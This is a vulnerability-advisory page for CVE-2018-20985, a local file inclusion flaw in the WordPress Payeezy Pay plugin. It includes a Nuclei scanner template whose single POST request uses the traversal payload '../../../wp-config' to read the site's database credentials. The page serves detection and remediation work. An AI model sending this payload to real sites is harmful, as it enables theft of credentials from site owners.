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WordPress Payeezy Pay <=2.97 - Local File Inclusion

🗓️ 13 Jun 2026 13:20:29Reported by ProjectDiscoveryType 
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WordPress Payeezy Pay <=2.97 - Local File Inclusion vulnerability allows attackers to execute arbitrary code on the server. Update to the latest version for remediation

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CNVD
WordPress wp-payeezy-pay plugin input validation error vulnerability
28 Aug 201900:00
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CVE
CVE-2018-20985
22 Aug 201913:34
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Cvelist
CVE-2018-20985
22 Aug 201913:34
cvelist
NVD
CVE-2018-20985
22 Aug 201914:15
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Prion
Design/Logic Flaw
22 Aug 201914:15
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RedhatCVE
CVE-2018-20985
22 May 202505:09
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WPVulnDB
WP Payeezy Pay < 2.98 - Local File Inclusion
7 Dec 201800:00
wpvulndb
id: CVE-2018-20985

info:
  name: WordPress Payeezy Pay <=2.97 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: WordPress Plugin WP Payeezy Pay is prone to a local file inclusion vulnerability because it fails to sufficiently verify user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin WP Payeezy Pay version 2.97 is vulnerable; prior versions are also affected.
  impact: |
    The vulnerability allows an attacker to include local files and execute arbitrary code on the server.
  remediation: |
    Update to the latest version of WordPress Payeezy Pay plugin.
  reference:
    - https://www.pluginvulnerabilities.com/2018/12/06/our-improved-proactive-monitoring-has-now-caught-a-local-file-inclusion-lfi-vulnerability-as-well/
    - https://wordpress.org/plugins/wp-payeezy-pay/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20985
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-20985
    cwe-id: CWE-20
    epss-score: 0.42918
    epss-percentile: 0.97579
    cpe: cpe:2.3:a:payeezy:wp_payeezy_pay:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: payeezy
    product: wp_payeezy_pay
    framework: wordpress
  tags: cve,cve2018,wordpress,lfi,plugin,payeezy,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-payeezy-pay/donate.php"

    body: "x_login=../../../wp-config"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The base configuration for WordPress"
          - "define( 'DB_NAME',"
          - "define( 'DB_PASSWORD',"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c9c4e64b50196e711443e3bec223f9a466b68247cf506a85f170aef55a9a03e9022100952c663c676c7d9d425ed5475784e2cfa5bec7c720b818ed40a4f6909fce095e:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
CVSS 39.8
EPSS0.42918
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